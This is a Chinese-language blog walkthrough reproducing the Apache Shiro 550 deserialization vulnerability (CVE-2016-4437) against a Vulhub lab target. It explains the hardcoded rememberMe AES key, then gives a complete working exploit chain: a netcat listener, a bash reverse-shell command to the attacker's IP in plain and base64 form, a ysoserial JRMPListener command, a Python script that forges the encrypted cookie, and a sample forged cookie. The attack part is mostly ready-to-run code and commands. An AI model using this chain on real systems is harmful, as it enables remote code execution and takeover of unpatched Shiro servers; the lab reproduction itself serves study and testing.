Shiro 550-721 反序列化漏洞复现
Shiro
是Apache
的一个强大且易用的Java
安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro
易于理解的 API
,可以快速轻松地对应用程序进行保护
Shiro 550
CVE-2016-4437
Shiro
版本≤1.2.24
漏洞原理
在Apache shiro
的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe
),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie
字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。
加密过程:用户信息=>序列化=>AES加密(这一步需要用密钥key
)=>base64编码=>添加到RememberMe Cookie
字段
勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。
那么服务端对Cookie的验证过程就是:取出请求包中rememberMe
的cookie
值 => Base64解码=>AES解密(用到密钥key
)=>反序列化
就在这里出现了问题,AES
加密过程中使用的密钥key
(对称机密算法),但是在Shiro
版本≤1.2.24
中使用了固定的加密密钥**kPH+bIxk5D2deZiIxcaaaA==
** ,这样就可以利用这个密钥实现上述加密过程,在Cookie
字段中写入服务端执行恶意代码,最后在服务端对Cookie
解密时(反序列化后)就会执行恶意代码。
(图片和文字来源:https://blog.csdn.net/Bossfrank/article/details/130173880)
漏洞验证
验证漏洞的汇总:
https://blog.csdn.net/dreamthe/article/details/124390531 :
- 未登录的情况下,请求包的
cookie
中没有rememberMe
字段,返回包set-Cookie
里也没有deleteMe
字段- 登录失败的话,不管有没有勾选
RememberMe
字段,返回包都会有rememberMe=deleteMe
字段- 不勾选
RememberMe
,登录成功的话,返回包set-Cookie
里有rememberMe=deleteMe
字段。但是之后的所有请求中Cookie
都不会有RememberMe
字段- 勾选
RememberMe
,登录成功的话,返回包set-Cookie
里有rememberMe
=deleteMe字段,还会有remember
字段,之后的所有请求中Cookie
都会有rememberMe
字段- 或者可以在
cookie
后面自己加一个rememberMe=1
,看返回包有没有rememberMe= deleteMe
漏洞验证的核心还是在Shiro
是否使用了固定密钥**kPH+bIxk5D2deZiIxcaaaA==
** 或者我们可以通过脚本工具来爆破出来密钥那么Shiro 550
才一定会存在
使用工具验证漏洞Shiro 550
https://github.com/SummerSec/ShiroAttack2
也可以使用脚本来爆破 https://github.com/Ares-X/shiro-exploit
┌──(pycryptodome)─(root㉿kali)-[~/Desktop/Tools/shiro-exploit]
└─# python3 shiro-exploit.py check -u http://192.168.111.163:8080
Target Used Shiro,Staring butre key:
Version 1 Key Found: kPH+bIxk5D2deZiIxcaaaA==
漏洞复现 (手动)
使用Vulhub
来搭建
192.168.111.163:8080
(Centos
)
192.168.111.162
(kali
)
进入到靶机页面:
复现之前首先验证是否使用Shiro
,我们勾选记住我然后输入账号密码,抓包发送,然后查看返回包,能看到返回包存在Set-Cookie: rememberMe=
字段。这样就表示登陆页面启动呢Shiro
来进行登陆验证。
使用工具验证后存在漏洞,就可以开始复现漏洞了
构造Cookie
执行反弹shell
命令
kali
开启监听:nc -lvp 6666
构造反弹
shell
命令bash -i >& /dev/tcp/192.168.111.162/6666 0>&1
经过对特殊符号进行
base64
编码,使用https://ares-x.com/tools/runtime-execbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNjIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
使用序列化工具
ysoserial.jar
开启反弹shell
的服务器java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNjIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
在
kali
中最好,后面的命令就是上面经过base64
编码特殊加密后的payload
这条命令相当是用
ysoserial.jar
(需要JDK9
) 工具在攻击机开启服务器在7777
端口监听,然后在这个服务上放一个反弹shell
的payload
,并且使用ysoserial
指定CommonsCollections5
(vulbhub存在对CommonsCollections
的依赖) 利用链生成可执行的bash -i >& /dev/tcp/192.168.111.162/6666 0>&1
,有客户端请求时就将payload
返回生成
AES
加密的base64
编码后的remember
字段里边的参数以自己的为准,比如
popen
里边执行的java
的路径,以及key
值# python2 脚本 shiro.py import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['/usr/local/jdk-9.0.4/bin/java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
执行命令,生成请求包里面的
rememberMe
(pycryptodome) ⚡ root@kali ~/Desktop/Tools/ShiroExploit.V2.51 python shiro.py 192.168.111.162:7777 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true rememberMe=u4bJ0F/sQ/yViG6BGXsIqXRNDTM4d0CYAqpYyfLdmyj3qz68sYcIuXHaXIPmt5XLV34dSzGw0uOEjckRUZ9ZuuoUGonNPkrBjdaCH6Zeh2Gm3633P9ZepD6N6MhRZ0zMoNwMVPJQ5ETAK8i3IJ03FsnUrlHCb4xIA3PcOs74LygOOmEeqriRSxhhObqTpQZS3sFYFJ2i3duOvCHCtjmsRyxFq1TSYCftosDMAOxmBl0izbbjTN2XcCxBJtMGyJxEmRoB/93g+WADXPOB2541PQ31Zud+bLyHpTesprrjszfRLikkqiiWeaV2woyadviqN76uF+oAI37TJDbVmEn5M4l4JcYEAPYnVVKVekPj/H5mhl+Rnjaq2xIj82QSO3bE773Fhy+LXOivwcsgl3LMKQ==
修改请求包里面的**
cookie
**的rememberMe
字段查看响应包里面的
rememberMe
字段,应该是成功了我们再看一下
ysoserial.jar
监听的端口能看见服务器
192.168.111.163
(靶机)和其发起了通信最后再看
kali
的监听的6666
端口,成功获得shell
分析攻击过程
来自:https://blog.csdn.net/Bossfrank/article/details/130173880
对于攻击者而言,核心就是干了两件事:
1.搭建VPS
进行JRMPListener
,存放反弹shell
的payload1
2.将上述VPS
进行JRMPListener
的地址进行了AES
加密和base64
编码,构造请求包cookie
中的rememberMe
字段,向存在漏洞的服务器发送加密编码后的结果payload2
那么对于靶机服务器,他是怎么沦陷的呢?
1.接收到请求包payload2
,对他进行base64
解码=>AES
解密,发现要和一个VPS
的JRMP 7777
端口进行通信。
2.向恶意站点VPS
的JRMP 7777
进行请求,接收到了到了序列化后的恶意代码(反弹shell
到攻击机的6666
端口)payload1
。
3.对payload1
执行了反序列化,执行了反弹shell
的恶意命令,就此沦陷。